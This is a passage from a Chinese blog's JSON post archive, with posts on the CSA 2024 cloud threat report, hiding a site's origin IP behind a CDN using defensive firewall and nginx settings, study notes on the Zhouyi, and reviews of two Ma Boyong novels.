网络安全信息共享：参与网络安全信息共享组和论坛，了解最活跃的APT组织及其战术、技术和程序（TTPs）。通过这些集体知识，可以增强企业的防御和响应能力。 攻击性安全演习：通过红队演习和威胁狩猎活动定期模拟APT的战术、技术和程序（TTPs）。这些攻击性安全演习有助于测试和提高您的检测和响应能力，确保您的安全措施能够有效应对复杂的威胁。 2022年与2024年云安全威胁排名对比分析 本报告分析了云安全威胁的演变态势，重点关注了配置错误、IAM（身份和访问管理）弱点、不安全的APIs以及缺乏全面安全策略的持续性问题。虽然这些威胁与2022年报告中识别的相同，但它们的持续存在突显了其关键性。\n2024年报告提高了对以下关键安全问题的关注：\n**1. 配置错误与变更控制不足：**如今位居2024年顶级威胁调查首位，相较于2022年报告中的第三位有所上升。多年来，配置管理一直是组织能力成熟度的基石。然而，向云计算的过渡加剧了这一挑战，使团队必须采用更强大的云特定配置。由于云服务的持续网络访问和无限容量特性，配置错误可能对整个组织产生广泛影响。\n**2. 身份与访问管理 (IAM)：**曾位居首位，如今降至第二位。云环境中仍存在重放攻击、伪造身份和权限过多等挑战，这与本地设置类似。然而，使用自签名证书和糟糕的加密管理显著地增加了其安全风险。零信任架构的实施和软件定义边界（SDP）的应用正成为受访者重点关注的问题，反映了这些问题在云安全中的重要性。\n**3. 不安全的接口和APIs：**从第二位降至第三位，微服务的采用突显了保护接口和API的重要性。尽管它们在云服务（包括SaaS和PaaS产品）中起着关键作用，但由于开发人员的效率不足与云服务所需要的持续在线的要求，导致保障安全的接口和API仍然面临巨大挑战。\n**4. 云安全策略缺失：**仍位于第四位，这一领域持续关注的问题是：为什么在规划和构建安全解决方案时仍存在重大挑战？云计算已经是稳定发展的技术，它需要明确的可执行的架构策略。\nCSA《2024年云计算顶级威胁》不仅是一份技术导向的文件，它还是一个指导原则和行动指南。通过提供深入的分析、案例研究和实用建议，该报告旨在帮助组织提升自身的云安全水平，降低潜在风险，并在面对复杂多变的安全挑战时保持警惕与准备。\n结论和未来展望 作为云安全领域的领导者，CSA持续为企业提供支持，以应对不断演变的安全威胁。通过持续的威胁跟踪和深入研究，CSA为企业提供了切实可行的解决方案和行业标准，以确保它们能够在快速变化的技术环境中，具备强大的安全防护能力。本报告正是基于这些努力，旨在为企业提供前瞻性的威胁洞察与应对策略。\n未来，随着云计算与安全技术的不断进步，尤其是AI与云计算的加速融合，多个关键趋势将对云安全威胁格局产生深远影响。企业必须保持高度警惕，积极应对这些趋势，以确保其云环境的安全与稳定。\n云计算的四大关键趋势 1.攻击复杂性的增加：攻击者将继续开发更复杂的技术，包括通过人工智能技术（AI）利用云环境中的漏洞。这些新技术将需要具有持续监控和威胁狩猎能力的主动安全姿态。\n2.供应链风险：云生态系统的日益复杂将增加供应链漏洞的攻击面。组织需要将其安全措施扩展到其供应商和合作伙伴。\n3. 不断演变的监管环境：监管机构可能会实施更严格的数据隐私和安全法规，要求组织适应其云安全实践。\n4.勒索软件即服务（RaaS）的兴起：RaaS将使技术不熟练的参与者更容易对云环境发起复杂的勒索软件攻击。组织将需要强大的数据备份和恢复解决方案以及严格的访问控制。\n针对这些趋势企业可以采取以下关键的缓解策略： **在整个软件开发生命周期（SDLC）中集成AI：**利用AI进行代码审查和早期开发中的自动漏洞扫描等任务，将有助于在代码投入生产之前识别和解决安全问题。 **使用AI驱动的攻击性安全工具：**这些工具模拟攻击者行为，以发现云配置、IAM协议和API中的漏洞。这种主动方法有助于组织领先于潜在威胁。 **云原生安全工具：**组织将越来越多地采用专为云环境设计的云原生安全工具。与传统安全解决方案相比，这些工具提供更好的可见性和控制。 **零信任安全模型：**零信任模型强调持续验证和最小权限访问，已成为云安全的标准。 **自动化和编排：**自动化安全流程和工作流程对于管理云安全复杂性至关重要。 **安全技能培训：**网络安全技能差距将继续是一个挑战。组织需要重视和投入预算用于培训和发展计划，为员工提供持续教育，不断提升员工的安全专业技能和安全意识。 通过应用这些策略，企业可以打造一个安全、弹性的云环境，并保持对不断演变的威胁的警惕。然而，随着网络安全形势的不断变化，企业还需要持续适应并投资于尖端的安全解决方案，如云安全态势管理（CSPM）和端点检测与响应（EDR）工具，以确保它们始终处于领先地位，并有效减轻与云安全漏洞相关的财务与声誉风险。\n致谢 《2024年云计算顶级威胁（Top Threats to Cloud Computing 2024）》由CSA云安全联盟顶级威胁研究工作组专家编写，并由CSA大中华区组组织专家完成翻译并审校。感谢以下专家和单位的贡献（以下排名不分先后）：\n翻译组成员\n陆琪 刘连杰 刘刚 赵晨曦 卜宋博 肖文棣\n审校组成员\n郭鹏程 党超辉 卜宋博\n贡献单位：\n爱立信、天翼安全、天翼云、中国移动（香港）、晨星资讯\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/2024%E5%B9%B4%E4%BA%91%E5%AE%89%E5%85%A8%E8%B6%8B%E5%8A%BF%E9%A1%B6%E7%BA%A7%E5%A8%81%E8%83%81%E4%B8%8E%E5%BA%94%E5%AF%B9%E7%AD%96%E7%95%A5/","summary":"随着云计算的快速普及，安全问题已逐渐成为企业关注的核心。云环境的复杂性、多样性及其开放性，给企业带来了前所未有的安全挑战。为帮助企业深入了解和应对这些风险，云安全联盟大中华区发布《2024年云计算顶级威胁》。报告基于对500多…","tags":["技术实践","云安全","漏洞研究","标准解读"],"title":"2024年云安全趋势：顶级威胁与应对策略","unix":1729216800,"year":"2024"},{"date":"2024-09-19","dateISO":"2024-09-19","permalink":"https://bluedog.website/posts/archive/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8%E5%91%A8%E6%98%93%E5%85%A5%E9%97%A8%E8%AF%BB%E5%90%8E%E6%84%9F%E6%9A%A8%E5%90%8E%E7%BB%AD%E5%AD%A6%E4%B9%A0%E8%A7%84%E5%88%92/","plain":"引言 《周易》作为中华文化的经典之作，集哲学、宇宙观与占筮于一体，承载了古人的智慧与思辨。为了深入理解这部经典，选择了通俗易懂的《周易入门》【上海古籍出版社-张善文教授编著】作为起点。该书通过逐步剖析卦象与爻辞，帮助读者更清晰地理解《周易》的核心思想。《周易》不仅是占卜工具，还蕴含了深刻的哲学智慧，探讨了宇宙运行与人类行为之间的关系。通过这本书，初步进入了《周易》及其哲学体系的世界，为未来的进一步探索奠定了基础。\n走近《周易》的智慧 哲学思想：宇宙运行与变化法则 卦象与自然规律\n《周易》的核心在于卦象，六十四卦通过阴阳互动，象征自然界的万物变化。每一个卦象不仅是符号，更是对宇宙自然变化的具象化表达。乾坤二卦分别象征天与地，乾卦代表积极进取，坤卦象征包容顺应，揭示了宇宙运转的根本法则。\n乾坤二卦不仅象征自然力量，也为理解人类行为提供了框架。乾卦鼓励勇往直前，坤卦则提醒顺应时势、保持稳重。两者的结合体现了“天行健，君子以自强不息；地势坤，君子以厚德载物”的道理，使《周易》超越了占卜，成为生活的智慧指引。\n阴阳学说与动态平衡\n阴阳学说是《周易》的核心思想之一，阴阳并非对立，而是相互依存、相互转化的力量。阴阳的动态平衡推动着宇宙万物的变化，乾坤二卦是其基础，而其他卦象则是阴阳组合的变化表现。\n阴阳的平衡不仅解释自然现象，也为人类行为提供了理论依据。刚与柔、动与静、主动与顺应，都是阴阳作用的表现。通过《周易》，阴阳学说帮助我们在复杂局势中找到平衡。\n时机与顺应自然的智慧\n《周易》强调“时”，认为人类的行为和决策应顺应自然变化，才能趋吉避凶。乾卦象征春夏，坤卦代表秋冬，通过观察自然界的规律，可以调整生活节奏，与自然保持和谐。\n在商业领域和个人生活中，把握时机尤为重要。《周易》中的“时”智慧不仅是一种策略，更是一种心态调整，帮助在变化中保持平衡与和谐。\n占卜艺术：预测未来的工具 卦象变化与未来趋势预测\n占卜的核心在于卦象变化。每个卦象代表特定的宇宙状态，反映事物的当前状态与未来趋势。通过卦象组合，推测未来可能的发展方向，帮助决策者在复杂情境中找到应对之策。\n占卜并非机械的命运预言，而是通过卦象的变化提供未来趋势的框架。占卜不仅仅是预测未来，更是一种帮助人们合理决策的工具。\n变化与适应的智慧\n《周易》认为变化是宇宙的常态，占卜不仅帮助预见变化，更教导如何在变化中找到位置，占卜是应对不确定性的智慧训练。通过占卜，提前预见趋势，并根据变化调整行动，从而在动荡的环境中保持清醒和决策力。\n占卜与个人决策的联系\n占卜提供了对未来趋势的洞察，但更深的意义在于辅助决策。占卜不仅是外在的预测，更是一种内在反思的过程，为决策者提供了多维度的思考支持，帮助在瞬息万变的局势中提升判断力。\n道教文化与《周易》哲学的融合 道教哲学中的自然观 道教主张“道法自然”，一切事物应顺应自然的法则。《周易》通过卦象变化揭示自然规律，乾坤二卦象征天与地，体现了阴阳对立统一的基本规律。道教吸收了这种哲学思想，并应用于修炼中，帮助修行者实现与自然的融合。\n道教修炼强调顺应天时地利，与《周易》的哲学高度契合。乾卦代表阳刚之力，坤卦象征柔和包容，二者结合正是对“道法自然”思想的最好诠释。\n道教修炼与《周易》哲学的实践 道教修炼注重阴阳平衡，通过卦象解读，修行者调整内外状态，实现身心和谐。道教通过《周易》卦象，提供修行中的指引，使修炼者在内观中体会宇宙的运行法则。\n后续学习规划-系统化探索 为了更系统地理解和掌握《周易》及其相关的占卜、命理和道教哲学，制定了一个逐步深入的学习计划，涵盖《周易》理论基础、占卜、命理和道教修炼的经典著作。\n一、打基础阶段（6个月） 目标：理解《周易》原文及基础含义，熟悉六十四卦与三百八十四爻，建立易学基础。\n推荐书目： 《周易译注》（张善文）——系统理解《周易》文本，帮助打基础。 《周易全解》（金景芳、吕绍刚）——全面了解《周易》理论。 《易冒》《易隐》——帮助建立易学基础概念，打下扎实的理论基础。 学习重点： 反复阅读这些基础书籍，熟悉卦象、爻象、文辞背后的含义，直至可以记忆关键卦辞。 记笔记，进行反复背诵，直至烂熟于心。 二、基础扩充阶段（12个月） 目标：在基础理解的基础上，进一步扩展易学知识，通过大量阅读古今著作，丰富对《周易》理论的理解。\n推荐书目： 《周易集注》（来知德、王弼）——全面的注释，拓展对《周易》的理解。 《周易尚氏学》（尚秉和）——拓展象数学的理解。 《中国古代算命术》——了解古代算命术的发展和应用，丰富对命理基础知识的理解。 《阳宅三要》——风水学经典，帮助理解阳宅（家居）风水布局与卦理结合。 学习重点： 扩充知识面，尝试从不同角度和流派理解《周易》。 理解《周易》中的哲理与其象数背后的深意。 三、进阶阶段（18个月） 目标：按照义理、象数、卜筮等方向深入学习，掌握更高层次的《周易》解读方法。\n义理方向： 《周易正义》（孔颖达）——继续深化对《周易》义理的理解。 《周易略例》（王弼）——了解义理派的精髓。 象数方向： 《周易古筮考精解》（尚秉和）——进一步探讨象数体系。 《周易尚氏学》（尚秉和）——拓展象数学的理解。 卜筮方向： 《增删卜易》（野鹤老人）——经典卜筮技法，适合实际操作学习。 《梅花易数》（邵雍）——著名的卜筮技法，应用广泛。 《黄金策》（上下册，高岛嘉右卫门）——深入探讨占卜技术的实战技巧。 《增补高岛易断》——高岛易断的增补版本，帮助你进一步掌握卜筮技术的精华。 《卜筮全书（卜筮正宗）》（王洪绪）——卜筮经典，全面学习占卜方法。 命理方向： 《渊海子平》《三命通会》《滴天髓阐微》——命理学的经典著作，讲述命理学的基础知识和分析方法。 《穷通宝鉴》《子平真诠》——详细探讨五行生克、天干地支与命理学的关系，提升命理推测能力。 《九天玄女青囊经》——命理与预测经典，辅助命理学习的深度理解。 《神峰通考命理正宗》《袁氏命谱》——进一步探究命理的实际应用及家族命理学的深刻影响。 学习重点： 根据不同方向进行深入学习，掌握义理、象数、卜筮和命理的要义。 开展实践，结合日常生活中的实际案例进行推演和应用。 四、世事印证阶段（Eternal Time） 目标：通过对《周易》知识的深入理解，将其应用于现实生活中，观察和推演世事变化，提升个人对易学的智慧。\n推荐书目： 《道德经》——结合道家思想，提升内在修养，理解自然之道。 《正一日诵早晚课》——道教修炼，培养修养与精神。 《太上老君说清静经》——道教经典，帮助领悟修行的核心思想。 《太上老感应篇》——道教救赎与自我净化的思想指导。 《太上道君说解怨拔罪妙经》——通过修炼实践结合哲学反思，实现身心和谐。 《北斗真经》——探讨天象与修炼的关系，结合易学理解。 学习重点： 通过对道教经典的研读，结合《周易》哲理，提升个人修为与思想高度。 在实际生活中应用《周易》的智慧，深入体会世事变化的规律。 结语 《周易》不仅是一部占卜经典，更是一座涵盖哲学、自然法则与生活智慧的宝库。通过系统化的学习，将理论与实践结合起来，真正理解《周易》背后的深邃哲理，运用其智慧应对生活中的变化与挑战。\n鉴于本人目前的认知水平和思考范围，所提出的规划与构想难免存在局限，尚待进一步的完善与深化。在此，我诚挚地期望各位前辈、同仁能够不吝赐教，提出宝贵的意见和建议。感激不尽！\n","relPermalink":"/posts/archive/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8%E5%91%A8%E6%98%93%E5%85%A5%E9%97%A8%E8%AF%BB%E5%90%8E%E6%84%9F%E6%9A%A8%E5%90%8E%E7%BB%AD%E5%AD%A6%E4%B9%A0%E8%A7%84%E5%88%92/","summary":"《周易》作为中华文化的经典之作，集哲学、宇宙观与占筮于一体，承载了古人的智慧与思辨。为了深入理解这部经典，选择了通俗易懂的《周易入门》【上海古籍出版社-张善文教授编著】作为起点。该书通过逐步剖析卦象与爻辞，帮助读者更清晰地理解…","tags":["阅读思考","读书笔记","国学经典","方法解析","治理实践","读后总结"],"title":"《周易入门》读后感暨后续学习规划","unix":1726711200,"year":"2024"},{"date":"2024-08-30","dateISO":"2024-08-30","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E5%81%9A%E4%B8%80%E4%B8%AA%E6%B0%B8%E4%B8%8D%E6%9A%B4%E9%9C%B2%E7%9C%9F%E5%AE%9Eip%E7%9A%84%E7%BD%91%E7%AB%99/","plain":"隐藏真实IP 防范DDoS攻击最主要的手段是加钱上高防，同时隐藏网站真实IP\n而隐藏真实IP的办法个人认为无非就是以下四种：\n前端架设反向代理服务器或上cdn。通过代理服务器再访问业务主机，不仅更安全，还可以加速用户访问。另外部署起来也容易，所以不管大中小型网站，都是非常推荐的。 架设防火墙，仅允许白名单ip访问真实主机；不管是自行架设的反向代理服务器还是cdn，基本上都可以拿到ip（段）列表。将这些ip加入白名单，屏蔽其他ip的直接访问，即使外界用zmap、带host扫描也无法探测到。 尽量避免真实业务主机直接发起对外连接；不理解这条的人可以想想以下场景：用户注册激活、找回密码等业务需要发邮件，如果业务主机直接通过smtp方式向外发邮件，绝大部分情况下邮件header中会出现真实ip；将markdown编辑器中用户输入url的图片下载到本地，如果是业务主机直接下载，则能轻易拿到真实ip。诸如类似的情况不少，故而对外请求应该都谨慎。 防止二级域名泄漏。www上了cdn，管理后台的admin、邮件解析的mx没有经过cdn并且解析到业务主机的ip，则以另一种形式泄漏了真实ip。 但是还有一些细节需要注意：\ncdn如果只用了国内的，则可以通过国外主机ping来发现真实ip\nphpinfo、应用程序漏洞可能会泄漏真实ip\n同一内网主机/虚拟主机沦陷后嗅探到真实ip\n既然不想暴露网站的真实IP，那么真实服务器前面至少套一层代理。一般来说，位于最前线的反向代理主要有如下几种：\nCDN：内容分发网络，就近为用户提供服务，加速访问 高防IP：高防IP一般位于大带宽的骨干网节点上，用于清洗DDoS流量 SLB：负载均衡器，用在大流量、繁忙的网站上，常见的SLB有LVS、F5等 这三种反向代理主要作用不一样，配置好的情况下都能隐藏服务器真实IP。对于普通的网站，使用CDN或者高防就足够，业务量大的情况下才会用到SLB\n下面介绍使用了反向代理的情况下，隐藏网站真实IP的操作\n防火墙 使用防火墙是最简单的做法，即：将反向代理的回源IP加入白名单，屏蔽其他IP的任何请求\n例如使用CloudFlare的免费CDN服务，其回源IP可从 https://www.cloudflare.com/zh-cn/ips/ 获取，然后将其加入白名单，同时屏蔽其他IP：\n# 将cf ip地址放在 cf_ips.txt # 首先将cf的ip加入白名单 while read -r line do firewall-cmd --zone=trusted --add-source=$line done \u003c cf_ips.txt # 然后移除其他ip对http和https服务的访问 firewall-cmd --remove-service=http firewall-cmd --remove-service=https 经过上述设置，Cloudflare 的IP能正常访问，其他IP完全无法访问真实ip的网站服务器，很好的隐藏了真实IP\n该方法设置简单，适用于服务器托管单站点的情形。当服务器上托管多个网站，并且某些站点需要直接暴露外网时，这种做法缺乏灵活性，无法实现\n也可以通过Nginx的allow/deny指令达到相同效果\nIPv6 对于防火墙和网络不熟悉的网友，可以考虑使用IPv6来隐藏网站的真实IP。具体操作为：\n找一台有IPv6地址的服务器，只有IPv6的NAT VPS更好。目前IPv6地址正在普及中，许多商家都免费提供IPv6地址，例如一些VPS商家：阿里云、Vultr、Linode、CloudCone，有的还提供不止一个IPv6地址\n设置网站只监听IPv6端口。以Nginx为例，网站配置文件形如：\nserver { listen [::]:80; server_name 主机名; # 请改成自己的主机名 return 301 https://主机名$request_uri; } server { listen [::]:443 ssl http2; server_name 主机名; ssl_certificate 证书路径; ssl_certificate_key ssl密钥路径; # 其他设置 找一家支持只有IPv6的CDN，例如CloudFlare，设置IPv6解析（具体自行Google）\n经过上面三步设置，基本上可确保不会泄漏真实IP，原因如下\n绝大多数情况下，人们都会理所当然的找IPv4，不会想到你的网站根本不存在IPv4网络上 相对于IPv4，IPv6的地址段实在太庞大。即使有zmap这种几小时扫描完全球ipv4段的神器，或者Shodan搜索引擎，也很难从海量地址中寻找单个地址 如果不放心，可以同样加上防火墙，就万无一失了\n# 首先将cf的ip加入白名单 while read -r line do firewall-cmd --zone=trusted --add-source=$line done \u003c cf_ips.txt # 然后屏蔽其他地址对ipv6的访问权限 firewall-cmd --add-rich-rule=\"rule family='ipv6' source address='::0/0' drop\" 该方法同样设置简单，以奇招胜出，单台服务器能托管多个网站，并且其他网站可直接暴露不受影响\nCNAME 另一种常见隐藏真实IP方式是使用CNAME，同样无需设置防火墙。其操作如下：\nCDN回源时使用CNAME方式回源到另一个主机名上。例如itlanyan.com回源的www.abcdexfd.com。需要注意的是，前端域名和源站域名最好不是同一个，防止通过爆破二级域名泄漏真实IP 在源站服务器上设置默认站点，防止通过host方式爆破。由于默认站点只是为了防止SNI方式泄漏真实IP，因此使用自签证书即可 # 生成密钥 openssl genrsa -out example.key 2048 # 生成证书，期间需要填一些信息 openssl req -new -x509 -days 3650 -key example.key -out example.pem 接着以Nginx为例，设置默认站点：\nserver { listen 80 default_server; server_name example.com; return 301 https://example.com$request_uri; } server { listen 443 ssl http2; server_name example.com default_server; ssl_certificate example.pem; ssl_certificate_key example.key; } 然后重启Nginx即可\n该方法无需设置防火墙，设置较为简单，但是需要额外一个域名\n注意事项 以上操作只能让他人在明面上无法直接访问真实服务器，但请仔细阅读隐藏真实 IP 中的建议，防止有发送邮件、WordPress pingback等隐式暴露IP的行为\n遇到DDoS怎么办? 如果域名之前从未用过，一出道就用上面提到的方法，基本上可以保证不会泄漏网站的真实IP\n但是不泄漏真实IP不代表不会被DDoS)或者CC攻击，遇到DDoS怎么办？解决办法主要有：\n加钱上高防保平安 DNS解析域名到127.0.0.1保平安 关机保平安 请根据实际情况和业务需求采取相应措施\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E5%81%9A%E4%B8%80%E4%B8%AA%E6%B0%B8%E4%B8%8D%E6%9A%B4%E9%9C%B2%E7%9C%9F%E5%AE%9Eip%E7%9A%84%E7%BD%91%E7%AB%99/","summary":"防范DDoS攻击最主要的手段是加钱上高防，同时隐藏网站真实IP","tags":["技术实践","网络安全"],"title":"做一个永不暴露真实IP的网站","unix":1725001294,"year":"2024"},{"date":"2024-08-22","dateISO":"2024-08-22","permalink":"https://bluedog.website/posts/archive/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8%E9%95%BF%E5%AE%89%E7%9A%84%E8%8D%94%E6%9E%9D%E9%98%85%E5%90%8E%E6%9C%89%E6%84%9F/","plain":"继昨天的《太白金星有点烦》阅后有感又读了马亲王的《长安的荔枝》，我买的版本是湖南文艺出版社的。封面采用了文中主人公-李善德在困境中的一句话：“就算失败，我也想知道，自己倒在距离终点多远的地方” 让我感触颇深。\n这本书和《太白金星有点烦》一样，都属于架空某个故事/历史的古装职场小说，借古喻今，尤其是对于身在职场的打工仔，很容易与之共情。\n李善德在长安工作十八年才贷款买房，买房的时候权衡利弊，就是我们打工人本人，有了房贷后，就被领导拿捏，领导用手段将不可能完成的任务给他，这个任务辗转多次，分到他们部门，任务完不成，总得有人背锅，于是李善德就成了那个背锅的人，“荔枝煎”和“荔枝鲜”只有一字之差，却天壤地别，他已做好了最坏打算，离婚，让妻女规避债务，杜甫的鼓励他拼死一搏，破釜沉舟，为了家人，他鼓起勇气去尝试完成任务~\n然而在这从岭南运输鲜荔枝到长安的总路程五千四百四十七里路中，真诚才是必杀技。历尽千辛万苦，可算是找到法子交差，可又有谁知，千古艰难唯做事，一事功成万头秃，我想到了那句“一骑红尘妃子笑，无人知是荔枝来”。\n运输鲜荔枝的背后，是高层的内部矛盾，是利益的博弈，“上级一张嘴，下面跑断腿”，在这里得到全面展现，那么，还有职场上的情商，做官之道，和光同尘，雨露均沾，花花轿子众人抬，我们也看到了，杨国忠说的“流程这种东西，是弱者才要遵循的规矩”，我们也被感动“就算失败，我也要知道，自己倒在距离终点多远的距离”。更是有文末那句爆杀我的：“我嫁的是他，又不是长安”\n在读书的时候，在读李善德，也在读职场人，无处不让人联想到自己的职场生活\n我们大部分人都是普普通通的李善德，愿你我都能做生活的高手！\n原文好句摘抄 做官之道，其实就三句话：和光同尘，好处均沾，花花轿子众人齐抬。一个人吃独食，是吃不长久的。 这个坐落着诸多衙署的庞大皇城，比秦岭密林更加错综复杂，它运转的规律比道经更为玄妙。不熟悉的人贸然踏入，就像落入壶口瀑布下的奔腾乱流一样，撞得头破血流。 先生要记得。跳胡旋舞的要诀，不是随乐班而动，而是旋出自己的节奏。 无心与物竞，鹰隼莫相猜。 既是身临绝境，退无可退，何不向前拼死一搏，说不定还能博出一点微茫希望。 越接近成功，朋友就越少人也就越愧疚。 能做的，他都已经做完了，接下来的，只剩下等待。 ","relPermalink":"/posts/archive/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8%E9%95%BF%E5%AE%89%E7%9A%84%E8%8D%94%E6%9E%9D%E9%98%85%E5%90%8E%E6%9C%89%E6%84%9F/","summary":"继昨天的《太白金星有点烦》阅后有感又读了马亲王的《长安的荔枝》，我买的版本是湖南文艺出版社的。封面采用了文中主人公-李善德在困境中的一句话：“就算失败，我也想知道，自己倒在距离终点多远的地方” 让我感触颇深。","tags":["阅读思考","读书笔记","国学经典","读后总结"],"title":"《长安的荔枝》阅后有感","unix":1724292000,"year":"2024"},{"date":"2024-08-21","dateISO":"2024-08-21","permalink":"https://bluedog.website/posts/archive/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8/%E5%9B%BD%E5%AD%A6%E7%BB%8F%E5%85%B8%E5%A4%AA%E7%99%BD%E9%87%91%E6%98%9F%E6%9C%89%E7%82%B9%E7%83%A6%E9%98%85%E5%90%8E%E6%9C%89%E6%84%9F/","plain":"本文记于2024年8月21日22点01分\n本文打上的Tag是国学经典也是想从本文出发，开始深入学习以《周易》为核心的国学经典著作。\n昨日正值《黑神话：悟空》发售，今日机缘巧合翻起买了许久的一本书–《太白金星有点烦》。从早上8点在地铁上翻阅本书第一页开始，笔者就被作者马伯庸这本以《西游记》故事为背景，借故讽今的奇思妙想深深吸引。\n这本书中扎扎实实地写出了一篇\"官场现形记”。他以一场政治事件的角度来解读玄奘取经的这件事，在各方逐力的过程中，隐喻了现代社会中为官为人之道。\n文中以太白金星-李长庚的视角，或者说是项目经理的视角，带着打工人揭开了宣扬“救苦救难”的一场政治宣传秀！围绕着八十一难中的费用报销、工作汇报、人事安排、人情往来、做不完的琐事以及高层领导的政治斗争牵扯出了当年大闹天宫的真相。牵扯出的因果锁身，再到最终的超脱因果成就金仙，全文读完正好是晚上22点。有缘且有趣的事，故事的内核和《黑神话：悟空》有诸多契合。感兴趣的小伙伴可以去购买阅读一番。\n以下内容受限于本人的认知范围，如果有不当之处，请各位大佬批评指正。”\n关于项目 项目 取经项目是西天如来佛祖亲自发起的项目，目的是为了让二徒弟金蝉子成佛。天真的织女问，直接成佛不好吗？为什么非要到大唐走一遍？\n李长庚深谙官场之道——将帅必起于卒伍，宰相必起于州部，不走这么一圈，难服众。\n李长庚很敏锐地发现，虽然是如来发起的项目，但是公文发出的地点不是灵山，是鹫峰——这个项目不寻常。\n一个新项目到底是谁发起的，重视不重视，除了要看发起人，还要看细节。\n项目人员配置 取经项目是大项目，项目发起人是如来，给玉帝发了公函要协助，所以又成了西天和天庭的合作项目。\n设置了护法两人：观音和李长庚。说白了他们才是项目经理，他俩负责项目的策划，执行，资源协调。\n妖精是当地找还是借调，场地是租还是搭建，渡劫要不要加个特效，如果加特效还要去预定，一场渡劫下来牵扯出仙衙的配合，这些都得观音和李长庚张罗。\n取经师徒四人+白马，是项目执行，更像演员。\n项目过程监督，取经队伍头顶十丈半空中，乌泱泱一堆神祇，四值功曹，五方揭谛，六丁六甲，一十八位护教珈蓝，足足三十九尊大神。\n俩人干活，四人表演，一群人跟着看热闹。\n监督的永远比干活的人多，大领导永远不直接沟通只能靠传话——这不就是职场项目的常态。\n招聘 项目发起文书上没指名道姓，只说号召东土大德去西天取经，可相距十万八千里，寻常一个凡胎怎么能走下来？光这一个条件，就刷下来九成九大德，最符合条件的只可能是玄奘一人。\n他西天取经走上一趟，履历增添一笔弘法功德，将来成佛就名正言顺。\n招聘条件有的时候就是给某个人量身定做的，别看项目好不好，好不好也不一定轮得到你。\n项目安排 项目安排要充分考虑到各方利益和情况，比如玄奘不善斗战，而且打打杀杀不体面，观音就要特意嘱咐一下，还要再找个孙悟空来补短板。\n另外项目工作不需要搞什么新花样，稳妥第一。不要总想着搞创新，重点是稳稳当当完成。\n关于领导 批示的玄学 对于取经项目玉帝批示的很含糊，就给了李长庚一个首尾相接循环往复的阴阳二鱼，很难判断玉帝到底同意还是不同意。\n对于这个批示李长庚参悟了好几次，后来发现其实就是这么含含混混的，项目好了是领导的功劳，项目不好和领导没关系。\n想让大领导明示，那是不可能的，一方面靠悟性，另外一方面靠能力，能在项目里帮领导办事，又有能力把项目办好，这点李长庚倒是做到了。\n揣度上意 揣度上意，李长庚就是高手，比如对于猪八戒的安排。\n天蓬元帅因为性骚扰嫦娥被贬，但是李长庚敏锐地发现，天蓬虽然被贬，但是上宝逊金钯没有被没收还带在身边，判断玉帝还是想有机会启用天蓬，所以当机立断使了个计策把八戒塞进了取经队伍，找了条出路让八戒重归天庭。\n这可是典型地想到领导前面，处处替领导着想。\n领导的弦外之音 王母找李长庚喝茶，想将卷帘大将塞进取经队伍，顺嘴问了一句“他手里有一根降魔宝杖，也是玉帝亲赐，不比上金逊金钯差多少。”\n李长庚，马上领会到，王母表面上比较两件兵器，其实在问“我的话和玉帝的话，是不是一样管用啊？”\n哪个单位都有这种大仙，未必帮你成事儿，但是关键时刻递一句话，坏你的事儿还是很容易的，对这种大仙，弦外之音要是都听不懂，死都不知道怎么死的。\n关于人事 人事序列 金蝉子名为如来二弟子，但是无论是按成就排选的十大弟子，还是按照闻道时间排行设置的比丘，一个萝卜一个坑，怎么都排不到二弟子金蝉子。\n所以李长庚才去点玄奘。如来再回护他，但是到底正式编制里没有，资历还得靠自己挣。\n也是因为金蝉子的特殊，如来发起的项目，从阿弥陀佛处调了观音来做项目经理，为什么？怕的是自己靠修行得道的弟子易奉阳违，帮倒忙。\n玄奘想到这一点才留下观音左护法，要不就算是观音也得被换。\n对人事序列敏感才能知道对什么人下什么药，职场说到底还是人的事儿。\n人事安排 这个项目师徒四人的配置，灵山原计划人选不仅要考虑族属，也要涵盖不同经历，按照灵山的计划，孙悟空罪孽深重，回头是岸；黄风怪野性难驯，佛性早种；乌鸡国主一生虔诚，终得善果。三者份数妖怪人三族，有代表了求法的不同类型，如此才能充分显现佛法无边。\n这个计划好，可惜玉帝和王母分别塞了八戒和沙僧，乌鸡国主愿意不爱成佛爱现世，所以后面的人员变化了，所以人员计划很重要，但是也不是完全变不了。\n人事最复杂，变数最大，眼前被挖了墙脚的事情可是不少，所以李长庚才说，混职场最重要的两样，一个是跟脚，一个是机缘。\n官二代同事 李长庚的下属是织女，织女是王母的女儿，思想简单，不干活，下班就去鹊桥看孩子。\n这种官二代同事，最好相处，千万别攀比人家干活不干活，大家相处好了，还有个向上的通道，比如关键时候一句“我妈找你”，直接就到高层领导。所以官二代同事一定要好好相处。\n玄奘也是个有跟脚的，见观音都坐着不起来打招呼，甚至一度想把观音换掉。\n但是玄奘是个想做点事儿的二代，玄奘真正接纳观音和李长庚是奎宿事件之后，这种就是要一起经事儿，有共同的价值观和底线，未来的关系更牢固。\n官二代万万得罪不得，人家那跟脚，普通职场人比不了。\n同僚倾轧 搅屎棍主要来自灵山正统弟子，招数层出不穷，观音也不敢硬碰硬。\n不过好在这种搅屎棍也不敢明着来，所以提高警惕，让他们吃暗亏，他们也不能怎么样。\n仙界名媛 仙界名媛嫦娥虽然跟脚未必多深，但是交游广，也能通天，嫦娥就通过王母把沙僧弄进取经队伍，能量不容小觑。\n对于名媛一定要给予尊重，毕竟人家认识的人远多于一般人，指不定在哪就递上句话，办成件事儿。\n跟脚（保护伞） 